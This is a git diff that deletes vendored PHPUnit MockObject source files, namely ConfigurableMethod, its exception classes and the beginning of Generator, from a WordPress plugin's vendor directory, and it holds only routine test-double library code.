a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/ConfigurableMethod.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/ConfigurableMethod.php deleted file mode 100644 index 4757dc63..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/ConfigurableMethod.php +++ /dev/null @@ -1,53 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject; - -use SebastianBergmann\Type\Type; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class ConfigurableMethod -{ - /** - * @var string - */ - private $name; - - /** - * @var Type - */ - private $returnType; - - public function __construct(string $name, Type $returnType) - { - $this->name = $name; - $this->returnType = $returnType; - } - - public function getName(): string - { - return $this->name; - } - - public function mayReturn($value): bool - { - if ($value === null && $this->returnType->allowsNull()) { - return true; - } - - return $this->returnType->isAssignable(Type::fromValue($value, false)); - } - - public function getReturnTypeDeclaration(): string - { - return $this->returnType->asString(); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/BadMethodCallException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/BadMethodCallException.php deleted file mode 100644 index 7e655e23..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/BadMethodCallException.php +++ /dev/null @@ -1,17 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class BadMethodCallException extends \BadMethodCallException implements Exception -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/CannotUseAddMethodsException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/CannotUseAddMethodsException.php deleted file mode 100644 index 848746b5..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/CannotUseAddMethodsException.php +++ /dev/null @@ -1,29 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject; - -use function sprintf; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class CannotUseAddMethodsException extends \PHPUnit\Framework\Exception implements Exception -{ - public function __construct(string $type, string $methodName) - { - parent::__construct( - sprintf( - 'Trying to configure method "%s" with addMethods(), but it exists in class "%s". Use onlyMethods() for methods that exist in the class', - $methodName, - $type, - ), - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/CannotUseOnlyMethodsException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/CannotUseOnlyMethodsException.php deleted file mode 100644 index 0efcd02a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/CannotUseOnlyMethodsException.php +++ /dev/null @@ -1,29 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject; - -use function sprintf; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class CannotUseOnlyMethodsException extends \PHPUnit\Framework\Exception implements Exception -{ - public function __construct(string $type, string $methodName) - { - parent::__construct( - sprintf( - 'Trying to configure method "%s" with onlyMethods(), but it does not exist in class "%s". Use addMethods() for methods that do not exist in the class', - $methodName, - $type, - ), - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/ClassAlreadyExistsException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/ClassAlreadyExistsException.php deleted file mode 100644 index 8c9c0a52..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/ClassAlreadyExistsException.php +++ /dev/null @@ -1,28 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject; - -use function sprintf; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class ClassAlreadyExistsException extends \PHPUnit\Framework\Exception implements Exception -{ - public function __construct(string $className) - { - parent::__construct( - sprintf( - 'Class "%s" already exists', - $className, - ), - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/ClassIsFinalException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/ClassIsFinalException.php deleted file mode 100644 index 2bce2d88..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/ClassIsFinalException.php +++ /dev/null @@ -1,28 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject; - -use function sprintf; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class ClassIsFinalException extends \PHPUnit\Framework\Exception implements Exception -{ - public function __construct(string $className) - { - parent::__construct( - sprintf( - 'Class "%s" is declared "final" and cannot be doubled', - $className, - ), - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/ClassIsReadonlyException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/ClassIsReadonlyException.php deleted file mode 100644 index f73570e1..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/ClassIsReadonlyException.php +++ /dev/null @@ -1,28 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject; - -use function sprintf; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class ClassIsReadonlyException extends \PHPUnit\Framework\Exception implements Exception -{ - public function __construct(string $className) - { - parent::__construct( - sprintf( - 'Class "%s" is declared "readonly" and cannot be doubled', - $className, - ), - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/ConfigurableMethodsAlreadyInitializedException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/ConfigurableMethodsAlreadyInitializedException.php deleted file mode 100644 index d12ac997..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/ConfigurableMethodsAlreadyInitializedException.php +++ /dev/null @@ -1,17 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class ConfigurableMethodsAlreadyInitializedException extends \PHPUnit\Framework\Exception implements Exception -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/DuplicateMethodException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/DuplicateMethodException.php deleted file mode 100644 index f96a04ac..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/DuplicateMethodException.php +++ /dev/null @@ -1,35 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject; - -use function array_diff_assoc; -use function array_unique; -use function implode; -use function sprintf; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class DuplicateMethodException extends \PHPUnit\Framework\Exception implements Exception -{ - /** - * @psalm-param list $methods - */ - public function __construct(array $methods) - { - parent::__construct( - sprintf( - 'Cannot double using a method list that contains duplicates: "%s" (duplicate: "%s")', - implode(', ', $methods), - implode(', ', array_unique(array_diff_assoc($methods, array_unique($methods)))), - ), - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/Exception.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/Exception.php deleted file mode 100644 index 5880bc03..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/Exception.php +++ /dev/null @@ -1,19 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject; - -use Throwable; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -interface Exception extends Throwable -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/IncompatibleReturnValueException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/IncompatibleReturnValueException.php deleted file mode 100644 index 1ca8e9c9..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/IncompatibleReturnValueException.php +++ /dev/null @@ -1,36 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject; - -use function get_class; -use function gettype; -use function is_object; -use function sprintf; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class IncompatibleReturnValueException extends \PHPUnit\Framework\Exception implements Exception -{ - /** - * @param mixed $value - */ - public function __construct(ConfigurableMethod $method, $value) - { - parent::__construct( - sprintf( - 'Method %s may not return value of type %s, its declared return type is "%s"', - $method->getName(), - is_object($value) ? get_class($value) : gettype($value), - $method->getReturnTypeDeclaration(), - ), - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/InvalidMethodNameException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/InvalidMethodNameException.php deleted file mode 100644 index 0ab74cbb..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/InvalidMethodNameException.php +++ /dev/null @@ -1,28 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject; - -use function sprintf; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class InvalidMethodNameException extends \PHPUnit\Framework\Exception implements Exception -{ - public function __construct(string $method) - { - parent::__construct( - sprintf( - 'Cannot double method with invalid name "%s"', - $method, - ), - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/MatchBuilderNotFoundException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/MatchBuilderNotFoundException.php deleted file mode 100644 index f2e1a31e..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/MatchBuilderNotFoundException.php +++ /dev/null @@ -1,28 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject; - -use function sprintf; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class MatchBuilderNotFoundException extends \PHPUnit\Framework\Exception implements Exception -{ - public function __construct(string $id) - { - parent::__construct( - sprintf( - 'No builder found for match builder identification <%s>', - $id, - ), - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/MatcherAlreadyRegisteredException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/MatcherAlreadyRegisteredException.php deleted file mode 100644 index 0972ffaf..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/MatcherAlreadyRegisteredException.php +++ /dev/null @@ -1,28 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject; - -use function sprintf; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class MatcherAlreadyRegisteredException extends \PHPUnit\Framework\Exception implements Exception -{ - public function __construct(string $id) - { - parent::__construct( - sprintf( - 'Matcher with id <%s> is already registered', - $id, - ), - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/MethodCannotBeConfiguredException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/MethodCannotBeConfiguredException.php deleted file mode 100644 index 2f0bb5a6..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/MethodCannotBeConfiguredException.php +++ /dev/null @@ -1,28 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject; - -use function sprintf; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class MethodCannotBeConfiguredException extends \PHPUnit\Framework\Exception implements Exception -{ - public function __construct(string $method) - { - parent::__construct( - sprintf( - 'Trying to configure method "%s" which cannot be configured because it does not exist, has not been specified, is final, or is static', - $method, - ), - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/MethodNameAlreadyConfiguredException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/MethodNameAlreadyConfiguredException.php deleted file mode 100644 index 1e9f2c04..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/MethodNameAlreadyConfiguredException.php +++ /dev/null @@ -1,21 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class MethodNameAlreadyConfiguredException extends \PHPUnit\Framework\Exception implements Exception -{ - public function __construct() - { - parent::__construct('Method name is already configured'); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/MethodNameNotConfiguredException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/MethodNameNotConfiguredException.php deleted file mode 100644 index 89565b77..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/MethodNameNotConfiguredException.php +++ /dev/null @@ -1,21 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class MethodNameNotConfiguredException extends \PHPUnit\Framework\Exception implements Exception -{ - public function __construct() - { - parent::__construct('Method name is not configured'); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/MethodParametersAlreadyConfiguredException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/MethodParametersAlreadyConfiguredException.php deleted file mode 100644 index 1609c6ff..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/MethodParametersAlreadyConfiguredException.php +++ /dev/null @@ -1,21 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class MethodParametersAlreadyConfiguredException extends \PHPUnit\Framework\Exception implements Exception -{ - public function __construct() - { - parent::__construct('Method parameters already configured'); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/OriginalConstructorInvocationRequiredException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/OriginalConstructorInvocationRequiredException.php deleted file mode 100644 index ecb9b63c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/OriginalConstructorInvocationRequiredException.php +++ /dev/null @@ -1,21 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class OriginalConstructorInvocationRequiredException extends \PHPUnit\Framework\Exception implements Exception -{ - public function __construct() - { - parent::__construct('Proxying to original methods requires invoking the original constructor'); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/ReflectionException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/ReflectionException.php deleted file mode 100644 index d6319c69..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/ReflectionException.php +++ /dev/null @@ -1,19 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject; - -use RuntimeException; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class ReflectionException extends RuntimeException implements Exception -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/ReturnValueNotConfiguredException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/ReturnValueNotConfiguredException.php deleted file mode 100644 index 2bc4e882..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/ReturnValueNotConfiguredException.php +++ /dev/null @@ -1,29 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject; - -use function sprintf; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class ReturnValueNotConfiguredException extends \PHPUnit\Framework\Exception implements Exception -{ - public function __construct(Invocation $invocation) - { - parent::__construct( - sprintf( - 'Return value inference disabled and no expectation set up for %s::%s()', - $invocation->getClassName(), - $invocation->getMethodName(), - ), - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/RuntimeException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/RuntimeException.php deleted file mode 100644 index 33b6a5be..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/RuntimeException.php +++ /dev/null @@ -1,17 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class RuntimeException extends \RuntimeException implements Exception -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/SoapExtensionNotAvailableException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/SoapExtensionNotAvailableException.php deleted file mode 100644 index 6ec5057a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/SoapExtensionNotAvailableException.php +++ /dev/null @@ -1,23 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class SoapExtensionNotAvailableException extends \PHPUnit\Framework\Exception implements Exception -{ - public function __construct() - { - parent::__construct( - 'The SOAP extension is required to generate a test double from WSDL', - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/UnknownClassException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/UnknownClassException.php deleted file mode 100644 index b08dead0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/UnknownClassException.php +++ /dev/null @@ -1,28 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject; - -use function sprintf; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class UnknownClassException extends \PHPUnit\Framework\Exception implements Exception -{ - public function __construct(string $className) - { - parent::__construct( - sprintf( - 'Class "%s" does not exist', - $className, - ), - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/UnknownTraitException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/UnknownTraitException.php deleted file mode 100644 index c689dae9..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/UnknownTraitException.php +++ /dev/null @@ -1,28 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject; - -use function sprintf; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class UnknownTraitException extends \PHPUnit\Framework\Exception implements Exception -{ - public function __construct(string $traitName) - { - parent::__construct( - sprintf( - 'Trait "%s" does not exist', - $traitName, - ), - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/UnknownTypeException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/UnknownTypeException.php deleted file mode 100644 index c50b6911..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Exception/UnknownTypeException.php +++ /dev/null @@ -1,28 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject; - -use function sprintf; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class UnknownTypeException extends \PHPUnit\Framework\Exception implements Exception -{ - public function __construct(string $type) - { - parent::__construct( - sprintf( - 'Class or interface "%s" does not exist', - $type, - ), - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Generator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Generator.php deleted file mode 100644 index 49211ad7..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Generator.php +++ /dev/null @@ -1,1160 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject; - -use const DIRECTORY_SEPARATOR; -use const PHP_EOL; -use const PHP_MAJOR_VERSION; -use const PREG_OFFSET_CAPTURE; -use const WSDL_CACHE_NONE; -use function array_merge; -use function array_pop; -use function array_unique; -use function class_exists; -use function count; -use function explode; -use function extension_loaded; -use function implode; -use function in_array; -use function interface_exists; -use function is_array; -use function is_object; -use function md5; -use function method_exists; -use function mt_rand; -use function preg_match; -use function preg_match_all; -use function range; -use function serialize; -use function sort; -use function sprintf; -use function str_replace; -use function strlen; -use function strpos; -use function strtolower; -use function substr; -use function trait_exists; -use Doctrine\Instantiator\Exception\ExceptionInterface as InstantiatorException; -use Doctrine\Instantiator\Instantiator; -use Exception; -use Iterator; -use IteratorAggregate; -use PHPUnit\Framework\InvalidArgumentException; -use ReflectionClass; -use ReflectionMethod; -use SebastianBergmann\Template\Exception as TemplateException; -use SebastianBergmann\Template\Template; -use SoapClient; -use SoapFault; -use Throwable; -use Traversable; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class Generator -{ - private const MOCKED_CLONE_METHOD_WITH_VOID_RETURN_TYPE_TRAIT = <<<'EOT' -namespace PHPUnit\Framework\MockObject; - -trait MockedCloneMethodWithVoidReturnType -{ - public function __clone(): void - { - $this->__phpunit_invocationMocker = clone $this->__phpunit_getInvocationHandler(); - } -} -EOT; - private const MOCKED_CLONE_METHOD_WITHOUT_RETURN_TYPE_TRAIT = <<<'EOT' -namespace PHPUnit\Framework\MockObject; - -trait MockedCloneMethodWithoutReturnType -{ - public function __clone() - { - $this->__phpunit_invocationMocker = clone $this->__phpunit_getInvocationHandler(); - } -} -EOT; - private const UNMOCKED_CLONE_METHOD_WITH_VOID_RETURN_TYPE_TRAIT = <<<'EOT' -namespace PHPUnit\Framework\MockObject; - -trait UnmockedCloneMethodWithVoidReturnType -{ - public function __clone(): void - { - $this->__phpunit_invocationMocker = clone $this->__phpunit_getInvocationHandler(); - - parent::__clone(); - } -} -EOT; - private const UNMOCKED_CLONE_METHOD_WITHOUT_RETURN_TYPE_TRAIT = <<<'EOT' -namespace PHPUnit\Framework\MockObject; - -trait UnmockedCloneMethodWithoutReturnType -{ - public function __clone() - { - $this->__phpunit_invocationMocker = clone $this->__phpunit_getInvocationHandler(); - - parent::__clone(); - } -} -EOT; - - /** - * @var array - */ - private const EXCLUDED_METHOD_NAMES = [ - '__CLASS__' => true, - '__DIR__' => true, - '__FILE__' => true, - '__FUNCTION__' => true, - '__LINE__' => true, - '__METHOD__' => true, - '__NAMESPACE__' => true, - '__TRAIT__' => true, - '__clone' => true, - '__halt_compiler' => true, - ]; - - /** - * @var array - */ - private static $cache = []; - - /** - * @var Template[] - */ - private static $templates = []; - - /** - * Returns a mock object for the specified class. - * - * @param null|array $methods - * - * @throws ClassAlreadyExistsException - * @throws ClassIsFinalException - * @throws ClassIsReadonlyException - * @throws DuplicateMethodException - * @throws InvalidArgumentException - * @throws InvalidMethodNameException - * @throws OriginalConstructorInvocationRequiredException - * @throws ReflectionException - * @throws RuntimeException - * @throws UnknownTypeException - */ - public function getMock(string $type, $methods = [], array $arguments = [], string $mockClassName = '', bool $callOriginalConstructor = true, bool $callOriginalClone = true, bool $callAutoload = true, bool $cloneArguments = true, bool $callOriginalMethods = false, ?object $proxyTarget = null, bool $allowMockingUnknownTypes = true, bool $returnValueGeneration = true): MockObject - { - if (!is_array($methods) && null !== $methods) { - throw InvalidArgumentException::create(2, 'array'); - } - - if ($type === 'Traversable' || $type === '\\Traversable') { - $type = 'Iterator'; - } - - if (!$allowMockingUnknownTypes && !class_exists($type, $callAutoload) && !interface_exists($type, $callAutoload)) { - throw new UnknownTypeException($type); - } - - if (null !== $methods) { - foreach ($methods as $method) { - if (!preg_match('~[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*~', (string) $method)) { - throw new InvalidMethodNameException((string) $method); - } - } - - if ($methods !== array_unique($methods)) { - throw new DuplicateMethodException($methods); - } - } - - if ($mockClassName !== '' && class_exists($mockClassName, false)) { - try { - $reflector = new ReflectionClass($mockClassName); - // @codeCoverageIgnoreStart - } catch (\ReflectionException $e) { - throw new ReflectionException( - $e->getMessage(), - $e->getCode(), - $e, - ); - } - // @codeCoverageIgnoreEnd - - if (!$reflector->implementsInterface(MockObject::class)) { - throw new ClassAlreadyExistsException($mockClassName); - } - } - - if (!$callOriginalConstructor && $callOriginalMethods) { - throw new OriginalConstructorInvocationRequiredException; - } - - $mock = $this->generate( - $type, - $methods, - $mockClassName, - $callOriginalClone, - $callAutoload, - $cloneArguments, - $callOriginalMethods, - ); - 